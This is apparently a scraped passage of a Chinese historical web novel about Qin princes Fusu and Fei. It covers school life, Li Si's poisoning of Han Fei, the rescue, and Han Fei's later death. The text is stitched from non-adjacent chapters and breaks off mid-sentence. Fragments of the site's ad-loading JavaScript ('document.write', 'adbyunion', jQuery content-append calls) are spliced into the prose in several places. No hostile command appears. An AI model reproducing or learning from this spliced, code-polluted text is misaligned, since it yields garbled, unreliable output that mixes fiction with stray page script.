“三弟,别愣着,过来做。”将自己的案几往公子扶苏那边挪了一挪,尽力拼在一起,公子斐和公子扶苏一起招呼公子高。三位年长的公主见状,一边佩服公子斐真敢做真能想一边也挪了案几招呼起四公主。 公子高愣愣的走过来,似是还没从献礼的环节回神。他迟疑的在两位公子中间坐下,好一会儿才泪汪汪的抬头,喃喃:“好多人在看我,好可怕……” 公子斐理解的拍了拍他的肩膀,鼓励:“习惯就好。” 公子高悲伤的望着他,片刻,又充满期翼的转向公子扶苏:“大哥……”他试图寻求另一种答案。 公子扶苏同样沉痛的拍了拍他的肩膀,道:“习惯就好。” 公子高:“……” “呜哇!”他肉眼可见的颓丧了起来。 “感觉每个人都在暗暗评价我。”他小声道。 “是这样的。”公子斐附和。他对这种宴会的印象也不太好,不过至少,他之前有阿母在身边。 “以后还有上巳,重阳,千秋等节日,多着呢。”公子扶苏也道。因为嬴政生辰为正月初一,秦国的万岁节和新年基本是一起办的,这比他国少了一个节日,但新年却是更加隆重。 老实说公子斐还挺喜欢这一点的,因为他心里超级讨厌过节。每次过节他都要起的特别特别早,穿特别重的衣服东奔西走去各处发呆当气氛组,又累又无聊。 但王室就是这样,他也没办法。 对此,公子斐唯一的期望就是当上将军后去驻守边疆。 这不!蒙恬将军,王翦老将军就因为边关战事没有回来! ———— 隆重而热闹的新年很快过去,结束了五天的年假,公子斐又要去学宫上课了。 今年,因为活动课要开始学习驾车和射箭,面积一般的芷阳宫活动不开,诸位公子女公子的授课地点被换到了早已修缮完毕的六英宫。芷阳宫暂且封闭,说是等开春六公主年满四岁,让几位小的公子公主一起去开蒙。据说,以后芷阳宫便是做公子公主们开蒙学习的地方,不会变了。 “听说华阳太后也同父王说要把华阳宫改成学宫呢!”活动课的时候,阴嫚向大家透露。 自楚夫人被定为下任王后,许多原本只有元嫚才能知道的事都转到了她这里。为此元嫚变扭了不是一天两天,还和阴嫚闹了一场。好在,她最终还是调理好了自己,两位公主和好如初。 “怎么都想改学宫?这是什么新潮吗?”公孙辰表示不理解。 “可能因为空着只会荒凉吧,改成学宫人气旺。”公子斐推测。他是亲眼见识了芷阳宫的转变的,比其他人的感受都要多一些。华阳夫人以前也常在芷阳宫走动,相信她一定深有感触。 “华阳宫以前是太子储宫吧,与其改为学宫,还不如改回太子储宫呢。”胡毋礼道。 “父王也这样说,就是不知道阿母以后能不能……”阴嫚说着说着突然住了嘴。“抱歉这不是我该说的。” 周朝的传统是立嫡立长,秦国虽因各种意外有许久没有嫡长子即位,但他们的父王嬴政确实实在在是又嫡又长,名正言顺。 既然父王匡正了周朝立嫡立长的传统,那没意外他应该会也延续这个传统,如此,秦国的太子不是王后之子就是公子扶苏了。吕王后只留下两个公主,王宫目前没有嫡子。这太子之位到底是交到公子扶苏手中还是……或许就看楚夫人的肚子争不争气了。 在场的公子女公子们都下意思的看向公子扶苏,公子扶苏微微一怔,很快摆手。 “现在说这些都还早呢。”他无奈的笑了笑。 因为王宫没有嫡子,随着他年龄的增长,越来越多的人将各种目光放在他身上,这让他又尴尬又不好意思。他自认自己没这个意思,但不知为何,周围总觉得他对此势在必得。 明明他读书习武为人事都不如二弟。 想到公子斐,公子扶苏不由向他看去,只见他正好奇的看向宫门的方向。 “二弟,那边是有什么问题吗?”公子扶苏问。 “没有,就是偶然看到张中丞过来了,他是来接替隗先生的吧。”公子斐猜。 教算术的隗状隗先生连续几年都考评优良今年成功升职为治栗内史了。升职加薪的他事务剧增,忙得脚不着地,前几天就在说要辞去学宫先生的职务了。 “看来父王很看好张中丞。”公子扶苏肯定道。能被派来给公子公主们当先生的都是嬴政看好的国之栋梁,教习既能培养与下一代君王的感情,也能刷一波业绩,是一项当之无愧好差事。 “毕竟是荀子高徒,李先生的同门。”公子斐点头。“真好奇啊,那叫父王惊呼的公子非的文章 21.第二十一章 《秦二公子升职实录》全本免费阅读 忍耐的闭了闭眼,公孙蓉告诉自己孩子还小。她摆了摆手让公子斐滚远点,别碍着她眼,径自低头喝酒了。 公子斐撇了撇嘴,识趣的跑开了。无所事事的他在院子晃了一会儿,最终还是跑去了自己熟悉的大树边。他熟门熟路的在树根上坐下,叫刘言帮他拿了一卷闲书过来。 阅读的时间是飞快的,一转眼一个上午就过去了。公子斐看完手中的闲书,再抬头,羽阳宫已经大变了模样。 他原本居住的偏殿被改成了卫夫人的休息室,博物架,绣架,书架井然有序的分布着,而他自己的侧殿则增加了书房,会客间,便于读书与待客。 因为独立居于一殿,原本只需跟着公子斐的刘言李淇也吃肉喝汤,升职加薪了。很多公孙蓉的侍女们之前代为处理的事情现在都移交给了他们。两人一下从有名无实的一二把手成为了实权在握的一二把手。 为了方便他们办事,公孙蓉还给他们各自配了一位可以差使的小侍从。小侍从们一个负责扫洒整理一个负责采买跑腿,既分担了工作也不夺权,很是和谐友好。 当然,侍从增加了侍女自然也增加了。毕竟除了衣物,现在这一殿的各种装饰也得他们自己负责了。公子斐的侍女同样是加了两个人,她们和赵氏姐妹算是平级,而韩文吴丹则升级成了侍女中的一二把手,负责近身伺候。 老实说公子斐觉得他并不需要这么多近身伺候之人,不过公孙蓉说这是他身为公子需要的基本排场,不要都不行。 “你父王也不需要这么多人伺候,但你看他出行,哪次不是带着一群?”公孙蓉振振有词。 这例子太生动形象,公子斐瞬间被说服了。 “行吧。”他不是很情愿的认下了。 搬完了新家,接下来就该去新学宫了。 本就被设为学宫的六英宫比芷阳宫大一倍还多。不仅有一整座用于藏书的宫殿,还有一大片沙土铺制的操场。今后,他们就将在这片操场上学习驾车与射箭。 “我都有些迫不及待了!”站在沙土的操场边凝望立在操场边缘的箭靶,公子斐心中激动。 “像我这样的,一定能箭箭红心吧!”他颇有些自得的想。 “也不知道我能拉几石……”公孙辰则有些忧郁。虽然跑步的时候他的废物体力已经众所周知了,但他骑术还行,算是挽回了一点形象。等射箭……这弓能拉几石是几石,比跑步还难挽尊。“我怎么也该比那些女公子强吧?”公孙辰在心中祈祷。 “哈哈到时候你可别连女公子都比不过哦~”公孙怡笑他。 女公子中也有擅长跑步和骑术的,并且还不少。只是由于女性身体的天性,即便是最擅长的那几个,也只能在公子中排到中游而已。 “不怕不怕,你们今年活动课的内容和我们不一样了吧。”公孙辰安慰自己。 虽然都是活动课,但女公子们今年减少了看重体力的室外活动,增加了刺绣插花之类的室内活动,开始和公子们的课程有所区分了。 “还早,要下半年呢,射箭你就等着丢脸吧。”公孙怡不爽的向他做了个鬼脸。她一点也不想上刺绣课,公孙辰这么菜他才该去上刺绣课呢! “你!”公孙辰气结。“你凭什么认为我会丢脸啊!”他自认体力在公子中不行,至少还是比女公子好的。 “你说呢?”公孙怡反问。公孙辰的丢脸事迹可太多了,只是他自己不愿意承认,下意识选择忘记了而已。 公孙辰:“……” 他一时有些猜不准她说的是他祭祖的时候体力不支昏倒,还是他和公孙家的其他亲戚出去骑马结果累的差点摔下马,还是夏天和公孙怡逛街突然中暑,差点升天的事。 总之,这些都不是什么好事就是了。 “说起来,我们是不是要有新同学了?”无法反驳,公孙辰只能唐突转移话题。 这毫无技术含量的转移让清嫚一不小心就笑出了声。 公孙辰瞪她,清嫚立刻捂嘴。但她一抖一抖的身体还是无声诉说着她的嘲笑。 “其实你可以直接笑。”公孙怡一点不给她哥留情面。 清嫚和她对视一眼,扑在她身上小声笑了起来。 “你们两个!”公孙辰无能狂怒。 无情的嘲笑了一阵公孙辰,这个话题终于算是过了。众人顺着他的梯子讨论起即将到来的新同学。 “是李廷尉家的吧?”公子扶苏道。 曾为文信侯吕不韦门下舍人的李斯靠着《谏逐客书》一飞冲天已经是咸阳宫的旧闻了,不稀奇。稀奇的事他家的后代现在才来学宫读书。 “似乎是因为生病了。”元嫚道。李斯婉拒学宫之时,宫务大权已回到吕王后手中,所以元嫚对此略知一二。“李廷尉家与我们同龄的只有一位女公子,不过这位女公子在入秦后身体不舒服了好久,差点一命呜呼。父王命太医院医治了许久才略好了一些。” 她的话让公孙辰两眼一亮。身体不好,这莫非是来给他垫底的? “那她是不是下半年再来比较好?”下半年女公子们要改上室内活动课,会比现在轻松不少。 “不清楚他们是怎么想的,可能怕跟不上?”元嫚猜,“毕竟她生病已经落下很多了。” “有可能。”阴嫚点头赞同。 这种事关女公子身体的问题,公子们是不会发表意见的。大略知道有这么一回事后,众人又转移话题说起最近的另一件大事——韩公子非。 “听说那位公子非也要来给我们上课哎。”新年大宴那一天的事早就传遍了,这位让嬴政大军压阵请来的韩公子现在不说家喻户晓也是人尽皆知,现在大家对这位韩国的公子非都十分好奇。 可惜,这位韩公子非十分深居简出,除了道贺基本不在人前露面,以至于立后大典都过去快半个月了,大家还没怎么见过他。 “二公主,你说他长什么样?”韩公子非既然是以贺秦王立后的名义入的秦,自然是要与新上任的楚王后打一波交道的。作为王后之女,阴嫚是在场最后可能接触过他的人。 “就是普通人长相?”好看的人难看的人都很好形容,普通的就很难说了。阴嫚一边回忆他们有且仅有的一次见面,迟疑道:“挺瘦的,有一股书卷气,还有一种……倔强的感觉?” 虽然是被强迫着出使秦国,但这位韩公子并不让人感觉恐惧怯懦,反而自有一股傲气,让人不自觉的就将视线转向他。 也是,一般人哪配让当世第一强国秦国如此强掳呢? “不过这位韩公子口齿不太好,讲话有些……磕磕绊绊的……感觉讲课有点为难他的样子。”阴嫚又说。 “哎?”这倒是个令人惊讶的地方。 “他是口吃?”王安直言。然后他就被王若暗暗踩了一脚。 “好痛!”一点不长记性也不知道隐晦的王安大叫。“干嘛踩我!”他理直气壮的问。 王若:“……” 王若一言难尽的别了开视线。 “阿若的意思是,背后议论他人最好委婉些,嗯,委婉!”公孙怡帮小姐妹解释。 “这怎么委婉?”王安不懂了。 “比如……口不能言?”公孙辰给妹妹帮腔。 “又比如……容易紧张?”清嫚也帮她的小姐妹。 “再比如……” “行了我知道了,那个韩公子口不能言,容易紧张,说话磕磕绊绊,但是没有口吃行了吧!”挥手打断也准备帮腔的胡毋礼,王安瞪他:“你凑什么乱!” “我友爱同学!”胡毋礼骄傲挺胸。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 平定天下的速度越快,师兄多努力努力,你理想中的世界很快就能实现了。”李斯笑道。 韩非沉默。他第一次将目光转向李斯带给他的酒杯。 “你,你走吧。”他轻声道。 李斯礼貌的拱了拱手,告退了。他才转身,余光就瞥见韩非向酒杯伸出的手。 满意的,得意的笑容自李斯嘴角浮现,他几乎都想停下脚步转身亲眼见证这一幕了。可是不行,他很清楚,这时候不能有任何人来打扰韩非。 再见了,师—— “先生住手!” 一道身影忽的冲了出去。 李斯:“!!!” “叮!” “咕噜——” 金黄的青铜爵落在地上,浅绿色的毒酒翻倒了一地。两位年轻的公子一人扶住韩非,一人从他嘴里扣酒,谁都没有往李斯这里看一眼。 “先生,坚持住!” 公子斐的手伸进韩非嘴里,压着他的舌头试图让他把喝进去的酒吐出来——他曾经因为好玩自己试过,效果拔群——韩非艰难的呕了一声,吐了一点酒出来。公子斐确定有效,扣的更用力了。韩非被他扣的难受,神志不清的挥手想要将他打开。 公子扶苏眼疾手快的帮他压制住了韩非。 公子斐又扣了两下,见韩非再吐不出什么,他灵机一动,让公子扶苏配合他将韩非翻过来。“我们倒过来试试!” 公子扶苏迟疑的望着他。 “行了,两位公子,医工已经到了。”在发现李斯是来给韩非送毒酒之后,陆献就悄悄退出去命咸阳狱丞带医工和侍卫过来了。 咸阳狱当然是有医工待命的。虽然秦朝的律法规定只有在犯人反复翻供的时候才能上刑,但既然允许,自然要考虑刑罚过重,直接把人干掉的可能,所以咸阳狱不仅有医工,还各个都医术不错。 只是,咸阳狱的医工擅长的多半是外伤,对毒酒,他们也没什么办法。只能说在催吐这方面,好歹比公子斐的手段更稳妥有效一些。 在咸阳狱医工的努力下,韩非很快就吐出了更多的酒液。难以言喻的酸臭,弥漫在整个天字牢房中。 “行了。”看再催不出什么来,咸阳狱医工又给韩非灌了不少清水稀释他肚子里残余的毒性。他有些犹豫要不要再催吐一次,但看现场其他人难看的脸色,医工犹豫了一下,到底没在进行第二次催吐。 应该死不了了,就这样吧。咸阳狱医工悄悄判断。 “接下来还是请太医院其他医工看看为好。”他毕竟不是专业的,咸阳狱医工提议。 “知道了。”礼貌的向医工拱了拱手,陆献示意咸阳狱丞派人将韩非抬去其他干净的牢房。一直到韩非被抬走,再也看不见了,陆献才转身面无表情的对李斯拱手:“今日之事,臣定会上报王上,请王上定夺。” 说罢,他也不管李斯是什么反应,直接带着公子斐与公子扶苏离开了。 现在这种情况几人显然也无心再多做闲逛。他们三人出了咸阳狱就直奔咸阳宫。 26.第二十六章 “父王!父王!大事不好啦!李廷尉要杀韩先生!” 一进章台宫,公子斐就大叫。公子扶苏没办法向弟弟那样不在意形象,只能加快脚步跟在后面,拼命点头:“父王,这是我们亲眼所见!”他焦急的强调。 嬴政此前已经收到陆献的急报,正思索处理的办法。此时见两个儿子急匆匆的跑过来,心里又是好笑又是担忧。 “急什么!”嬴政喝道。 公子扶苏下意识的停下了脚步,公子斐却一点不管,继续往前跑。“父王父王!这可怎么办啊!李廷尉要杀韩先生!”他一直跑到嬴政身边,拉着他的袖子叫。 “成何体统!”嬴政又是一声低喝,但他说是这样说,却也没有挥开公子斐的手,就这样让他拉着。“韩非情况如何?”他问。“把你们看到的同寡人仔细说说。” 公子斐与公子扶苏对视了一眼,两人很快七嘴八舌的说了起来。 “没想到韩先生真的会喝那毒酒,儿都看呆了。”大抵是今天的刺激实在有点太过,公子扶苏说着说着也不由随意了起来,不像平日里那样板正。“幸好二弟机敏,我们才有机会救下韩先生!” 公子扶苏从来不会掠夺别人的功绩,该是谁的,就是谁的。 嬴政无声的扫了他一眼,又转向公子斐。“斐儿呢?有什么要补充的?” 公子斐想了想,觉得公子扶苏已经说的很全面了。不过有一点他好像漏了:“陆内侍问咸阳狱丞李廷尉来过几次,狱丞说这是第二次。”也就是说第一次什么情况,他们不知道。“而且我们进去的时候李廷尉已经在里面呆了一盏茶的时间了。”他补充。 嬴政若有所思的点点头。 “行了,你们今日也受惊了,都回去休息吧。韩非与李斯的事,寡人知道了。”嬴政挥了挥手,让两人退下。同时,他还命另一位内侍去太医院请医工为两位公子安神。 “谢谢父王~”虽然感觉自己并不需要,不过公子斐知道这是嬴政的关心,他立刻甜甜的道谢。 公子扶苏赶紧跟上。 对他这样仁善的人来说,今天的事确实有些刺激,一直到现在他都有些回不过神。李斯和韩非都是教导过他的人,在他心中他们都是很和善很有能力人,没想到…… 公子扶苏当晚就烧了起来。 “大哥,你还好吗?” 第二天,幼小的心灵一点不受影响的公子斐在听说了公子扶苏的情况后,连忙在下课后带着同样关心公子扶苏三位公主一起来探病。 他们到的时候公子扶苏刚退烧没多久,正坐在席上喝粥。看他们过来,公子扶苏眼中闪过一丝感动,他颇有些不好意思的低下了头:“叫你们费心了。” 他是真的羞愧,特别是在看到与他同去却依旧活蹦乱跳的公子斐之后。 看来真的是他太脆弱了。公子扶苏反思。 “大哥没事就好。”公子斐道。 “所以,你们究竟是怎么回事?”公子扶苏和公子斐一起去咸阳狱探监的事,因为一开始并不确定能不能去成,所以最开始没有宣扬,其他人也并不知情,但公子扶苏都因此病倒了,这消息自然也就在咸阳宫中传遍了。 公子扶苏沉默。在座的都是受过两位先生教导的人,一位先生要杀另一位先生这种话,他实在难以说出口。 看公子斐明明和他们上了一天课,他们还要来问他就可以知道公子斐对此显然也保持了沉默。如此,他更是不该将这些龌龊事公之于众。 “这事……不太好说,你们还是等父王的消息吧。”最终,公子扶苏道。 这回答和公子斐一样,令三位公主有些不满。但她们也清楚,宫中有些事,确实是不太方便明说的。 “罢了,就等父王消息吧。”元嫚一锤定音,表示对此不再追究。 不过,事发原因可以不追究,但现在的身体情况还是得追究一下的。“所以,医工怎么说?”她问。 “医工说再吃一剂药,如果不复热就没事了。”公子扶苏温柔的笑了笑,“劳你们担心了。” 姐姐妹妹和弟弟能一起来看他,他还是很开心,很感动的,感觉昨天留下的阴影都散去了不少。 “那就好,生病不是小事,可不能马虎!”元嫚告诫。 “看你这小脸白的,都不好看了,快点恢复吧。”阴嫚则戳了戳他的脸。 “大家都在等着大哥呢!”清嫚也道。 “谢谢!有大家的关心,我想我一定很快就能好起来了。”公子扶苏笑眯了眼。 热热闹闹的一通慰问,三位公主很快就离开了。公子斐自然也是一起。他先是和她们一起走了一段,待到要分开了,又折回去,重返公子扶苏居住的侧殿。 “韩先生的情况怎么样?”公子扶苏显然很清楚他会回来,没有重新躺下休息,而是拿了一卷书不走心的看了两眼。等公子斐去而复返,他立刻焦急的问。 “今日午时醒了一次,但很快又睡过去了。”公子斐回答。 韩非是他和公子扶苏一起救回来的,所以韩非的情况嬴政也允许他们知道。但也只是知道而已,探望,暂时是不被允许的。 “那……李廷尉呢?”公子扶苏变扭的问。 秦国尚法,公子扶苏从小学法对法家自然是心有好感的。但是他本性仁爱,对宫中的姐姐妹妹弟弟们各个都爱护有加,在他眼里同为荀子门下的师兄弟就算不如他们这样亲密,至少也该是和谐友善的,没想到…… 这次亲眼目睹韩非李斯这对师兄弟的厮杀,让他从小养成的对法家的滤镜碎了一地,现在只要想起就浑身不自在。 “暂时不清楚。”公子斐摇头。毕竟身处后宫,他对前朝的消息并没有那么灵敏。 “也不知父王会不会处置他……”公子扶苏忧愁。 能来给他们教课的都可以算是嬴政的心腹近臣,李斯近年更是扶摇之上。他明明只是九卿之一的廷尉,但他这廷尉却当的有如三公,将真正的三公衬得像是几个透明人。 “毕竟是自作主张,多少还是该有些惩罚吧?”公子斐猜。 “希望如此。”公子扶苏叹息。 或许是忧心李斯到底会不会受到惩罚,公子扶苏晚上做了一场噩梦,又烧起来了。他这一烧就反反复复的烧了三天,好不容易退下去,公子斐和三位公主想再来探望,却是不被郑夫人允许。 “没意外的话,再过几天他就能去上学了。”郑夫人本也是个温软的性子,从来欣喜他们兄弟姐妹友好相处,但这一回,大约是被公子扶苏烧怕了,她难得强硬的将他们拦在门外。 “好吧,那还请夫人代为转达我们的问候。”元嫚理解的将探望的礼物交给她。 “那我们就在学宫等他了。”公子斐也道。 一行人爽快的离开。 公子斐照例与几位公主在路口分别,待她们的车队消失,他脚步一转,竟是绕了一圈跑去了萯阳宫的后院。 “公子!你这是要做什么?!”见情况不对,刘言赶紧命车夫停车。但他们本就才离开萯阳宫没多久,这会儿几乎已经到了目的地了。 “你们就在这儿等着,我去去就回。”也不勉强车夫继续往前,公子斐干脆跳下羊车。 他站在路边观察后院周围的环境,很快,就两眼放光的选择了下一步的目标。 “好久没爬了,技术应该没生疏吧。”小声低念了一句,公子斐快步向目标走去。 看出他的目的,刘言仗着些许年长的优势后发制上,拦在了公子斐面前。 “公子!万万不可啊!”刘言苦着脸劝。 “有何不可?”公子斐歪了歪脑袋。 “您之前不就因此被王上惩罚过么?”虽然已经是几年前的事,但刘言就是因此被调来服侍公子斐的,他对此可谓印象深刻。 “安啦,父王不会知道的。”咸阳宫秉持着“要是外面被攻破了里面再守也没用”的原则护卫一直是外严内宽的,不然曾经他个小萝卜头也不至于这样往来无阻。“你看,这里不都没什么人?” 刘言欲哭无泪。这是有没 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有人的问题吗? “公子身份贵重,实不该如此冒险啊!”刘言苦口婆心,“若是有个万一,卫夫人该当如何?您便是不为了自己的身体着想,也该为卫夫人着想啊!” 公子斐停下了脚步。 如果是李淇,就不会拦着他。他想。但也正因此如,他才被阿母换掉了。 公子斐轻叹了一口气。 所以,现在该怎么办呢? 公子斐歪着脑袋想了想,片刻,他向刘言微笑:“退下!” 刘言一怔,似乎有些难以置信。 公子斐素来都是和善的,不管是和一起学习的公子公主,还是一起生活的侍从侍女。服侍他这么久,刘言还是第一次听他用这种命令的的语气。 “我说,退下。”公子斐再次道。 刘言迟疑。他是公子斐的侍从,理应听从他的命令,但他又是卫夫人找来看护公子斐的,劝诫公子斐是他的责任。今天之前,好说话的公子斐从来没让他为难过,但现在…… “公子……”犹豫片刻,刘言试图再做劝诫。 公子斐看了他一眼,没有说话,他干脆越过了刘言往看重的目标走去。而刘言,这会儿却钉在原地,不知自己该如何是好。 虽然有几年没爬树了,但公子斐宝刀未老,摸着树干一下就窜了上去。他踩着树杈越过宫墙,借着枝叶的掩护观察萯阳宫的情况。 “很好,没什么人经过。” 在脑中回忆了一下萯阳宫的布局,确定自己的位置和方向,公子斐轻巧落地,沿着墙根往公子扶苏的侧殿摸去。他在靠近侧殿的地方停下,再次观察。 公子扶苏病重,郑夫人对他自然是一百二十个心的看护。侧殿里外不仅有公子扶苏常带在身边的张明等人,还有好几个大约是郑夫人的侍从侍女。 从印在窗户上的影子看,公子扶苏这会儿应该醒了,正在喝药。看着窗户上那连续三位端着托盘的侍女,公子斐就不由为公子扶苏捏了一把汗。 这是开了多少药啊……他在心里啧啧惊叹。他还以为心病只能心药医,特地跑来告诉他李斯受到的惩罚呢! 不过话又说回来,既然都能起来吃药了,那他应该没事了吧。 看公子扶苏状态还行,公子斐小小的舒了一口气就准备跑路了。毕竟他自己也知道翻墙进来偷窥是不对的。只是,他刚准备走人,就听屋里传来公子扶苏的问话。 “刚才……是二弟他们来了么?”公子扶苏问张明。他的话隔着紧闭的窗有些模糊,但勉强能听得清。 “是,夫人说公子已经睡下了。”张明恭顺的回答。 公子扶苏沉默。他似乎转头对着窗户出了一会儿神,片刻,他轻咳了两声,惊动了一屋子的人。 窗户上的影子混乱了起来,有拿外衣的,有拿毯子的,有拿靠几各种各样,反倒是张明,不动如山的陪着公子扶苏。不一会儿,也不知公子扶苏交代了什么,张明终于起身退出了房间。公子斐心念一动,换了个更靠近门口的位置,果然,没一会儿张明就悄悄离开了侧殿。 公子斐微眯着眼看他,想了想,从地上捡起一颗小石子扔到他的脚边。 张明一无所觉的往前走,公子斐沉默,片刻,又捡起一块更大的扔到他的背上。 张明茫然回头,一脸摸不着头脑的模样。 “什么情况?”他抬头看天,看地,看——哦,谢天谢地,他终于看到脚边的石子了。 “什么人?”张明总算反应过来了。 公子斐稍稍侧身露了半张脸,张明微微一愣,赶紧四下张望了一番,快步走过来。 “二公子?您怎么在这里?”张明小声问。 “我来看看大哥。”公子斐悄声道。“大哥还好吗?”他问。 张明没怎么犹豫就老实回答了。公子斐闻言稍稍放心了一些。他从袖子里摸出一枚被封了印记的竹简,递给张明。张明会意收下,很快离开了。 公子斐看他快步回了公子扶苏的侧殿,心中微定,也转身离开了。 27.第二十七章 因韩非之事,李斯被罚俸一年,勋爵也降为少上造。 这是一位很微妙的爵位。 往上,也就是李斯原本的爵位“大良造”算是秦国的丞相资格证。这是秦孝公时期的最高爵位,秦国的首任相邦樛斿,商君公孙鞅,武安君白起都是这个爵位。李斯之前之所以能以廷尉的身份势压丞相,便是因为他只身为九卿就获得了大良造的爵位。现在,因为只有少上造,他算是被打回原形了。 早就看他越权不顺眼——主要因为李斯越的是他的权——的御史大夫落井下石,狠狠参了他一回。李斯刚应付完私探韩非的事,又要回应逾制的事,暂时是没空继续折腾韩非了。 而韩非,因为毒酒的缘故,他昏昏沉沉的在病床上躺了差不多一年。这一年里,他只允许救命恩人公子扶苏和公子斐来看他。而另一个不管他允不允许都能来看他的则是嬴政。 嬴政到底是看好韩非才华的。 他原本就更想将韩非收为己用而非杀死,李斯的这次失败算是彻底浇灭他的杀心了。当然,令他最终打消杀意的,还是韩非对他两个儿子的优待。 虽然对他韩非还是一副“别想了我不会为你所用”的模样,不过嬴政发现他在教导他的两位公子的时候确实算得上是尽心尽力。 这反差让他有些微妙,但嬴政想了想,感觉自己也不是不能接受这种差别待遇。毕竟,他是不可能让楚王后生下嫡子的,那他的继承人没意外也确实就在他们之中了。 为了方便韩非的教导和他的帝王术研究,嬴政有空就会来与韩非聊聊秦国的朝政和面临的局势。虽然韩非总是一言不发,少有回应,但通过他新写的文章,他知道他是听进去的,这就可以了。反正,他写的文章教给他的两位公子后,他也能看得到。 只是,这样的日子没过多久,韩非到底还是去世了。在得知韩王安被俘虏的第二天他果断自杀殉国,告别了这个令他苦闷的世界。 根据他的遗言,他留下的竹简一半给了公子扶苏,一半给了公子斐。嬴政注意到,韩非或许是对今日早有预感,所以,他所有的竹简都一式二份,分给两位公子不偏不倚。 最后也不告诉他他更看好谁吗?大笔一挥让韩非以大良造的爵位下葬,嬴政无奈摇头。 暂时就这样吧。 微服站在韩非墓的不远处,看自己的两个儿子结伴前来祭拜。嬴政沉默半响,带着蒙毅离开了。 未来能怎样,就看他们自己吧。 ———— 时间很快来到秦王政二十年。 自彻底覆灭韩国,六国,哦不,是剩下的五国热闹了好一阵。不过还没等他们商量出个章程,用离间计干掉李牧的秦国就在赵国大杀特杀了。 这下,剩下四国更是瑟瑟发抖,纷纷向秦国派出使臣示好,试探秦国的下一步计划。 好在,吃下赵国不是一件容易的事,秦国也计划修生养息一段时间。是以,借着连下两国,奴隶增加了许多,国库也充盈了的机会,嬴政设计规划了许久的陵墓终于开工了。他为此举办了盛大的仪式祭天祭祖,向世界宣告——接下来我要安分的修陵了。 各国欢欣鼓舞,纷纷派使臣携重礼前来祝贺。秦国照单全收,礼尚往来的同时也给予了他们不少安稳的承诺。 虽然这承诺撕不撕全在秦国的一念之间,但对剩下四国来说,有,总比没有好,能再混一年,也总比马上死强。 “听说了吗?这次燕国下了大手笔,要来献城!” 前朝的热闹与后宫关系不大,对还在学宫学习的公子公主们来说,这也就是一些茶余饭后的话题。 “这有什么?献城早就不新鲜了吧。”作为当世最强国,没经历过几次献城走出去都要被怀疑是不是秦国人。 “这次不一样,燕国这次带了樊於期的人头过来!”作为史官的儿子,胡毋礼的消息算是学宫内最灵通的一波,什么前线消息,问他准没错。 “这是谁?”阴嫚疑惑。 随着年纪增长,公主女公子们的课程与政治军事相关的越来越少,以前还能从父母那边获取消息的她们现在基本只能获得“年纪不小了,该准备婚事”了之类的回答。好在,至少在学宫,她们还能获取些许消息。 “是之前害桓先生败亡的家伙。”胡毋礼解释。 恒先生就是桓龁将军。 之前赵国的李牧将军之所以能在肥大败秦军,就是因为在大营留守的樊於期中了他的示弱之计,疏于戒备,被一锅踹了。这家伙自知不妙,一逃了之,秦军却是被断了草粮,大败而回。 收到消息,嬴政震怒,不仅处死他的家人,还对他发出高额悬赏。但人海茫茫,难寻踪迹,这悬赏一直无人认领,没想到这一回燕国却是献上了他的人头。 “竟然是他。”桓龁将军大败,十五万大军几近全灭不是小事。即便秦王赦免了桓龁将军死罪,他也被贬为黔首,不再为将领军。这几年公子们的课程开始涉及军事,这位桓龁将军闲赋在家,便来为他们上课。他们之所以对这场战争如此熟悉便是因为他曾亲自为他们分析讲解。 “这下桓先生能睡个好觉了。”桓龁曾说他最后悔的就是选了樊於期看守大营,曾发誓总有一天要杀了他以祭同袍的在天之灵。在被解职后,他除了给他们上课,就是四处游历,寻找樊於期。 “父王已经下旨招桓先生回朝了,他会亲眼见证这一幕的。”公子斐也分享他所知的情报。 已经十五岁的公子斐和十六岁的公子扶苏这两年先后获得了围观朝议的权利。虽然他们还只能在大朝议上当个安静的花瓶,不能参加高官们才能加入的小朝议,但消息已经比以前灵通多了。很多公子们不知道的消息,他们也能知道一些。 “到时候应该会举行盛大的宴会,你们有空应该也能参加。”公子扶苏也补充。 献城这种事虽然对秦国来说已经司空见惯,但为表对献城者的尊重——也就是给个面子——每次还是会根据所献之城的规模举行或大或小的宴会。 “我们也能参加?看来这次燕国很大手笔嘛!”公孙辰挑眉。“已经很久没有这种级别的宴会了吧。” 去年年末,因为赵太后去世,各种宴礼都暂停或缩小了规模——虽然她活着的时候嬴政对她只有面子待遇,但她死后的哀荣却是得到了充足的保证。如今百日已过,也确实该有一场盛大的宴会激发秦国上层的活力了。 “他们是献哪个城?”王安好奇。 “暂时还不清楚,似乎只说了是膏腴之地。”公子扶苏道。这种重量级的外交往来,自然会 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 先进行书信联系,方便安排。秦国这边其实已经知道是哪里了,只是他和公子斐还不知道而已。 “哎!那可真是大出血,燕国那边能算得上膏腴之地的不多吧?太子丹这么忍心吗?”燕国气候寒冷,条件艰苦是出了名的,能在燕国称得上膏腴之地的无一不是重城要城。燕太子丹主持政事后第一次献城就献这种重量级城市—— “总觉和他的行事风格不太相符。”公子斐怀疑。 毕竟是能从秦国逃回燕国的狠人啊。当初因为他的出逃,咸阳可是遭殃了一大群人,连身居后宫的公子扶苏和公子斐都有所耳闻。 “是这样吗?”公子扶苏并不觉得这有什么好奇怪的,“父王和他是幼年好友,燕太子丹的风格他应该比我们更清楚吧。”他理所当然道。 “那他还不是让他跑了。”公子斐吐槽。“你们是没看到哦,父王那几天的脸色!”他啧啧摇头。 “那段时间确实噩耗不断。”王安点头。先是燕太子丹跑了,秦王满城搜索助他跑路的奸细,再是赵国的李牧将军又重创秦军。王安在路上随便逛逛都觉得满城风雨,咸阳宫里什么情况可以想象。 公子扶苏也心有余悸扯了扯嘴角。 嬴政心情不好,他们的日子当然也不会太好。他和公子斐被叫去抽了好几回功课,平白多了好几份作业。 “希望燕国这次献城能让父王的心情好一点。”他低声道。 虽然曾被赵姬背叛恨不得一辈子都不要再相见,但毕竟是从小相依为命的母亲,赵姬真的去世,嬴政到底还是悲伤的。事实上,赵姬的百日上个月就过了,但是素服服丧的旨意却一直没结束,直到前几天燕国来了消息,他才恍然回神般的下旨将她入葬。 “大母和大父终于在地下团聚,父王是该高兴才是。”公子斐道。 “确实。”公子扶苏点头结束话题。 ———— 为燕国使臣接风的宴会大约在半个月后展开。 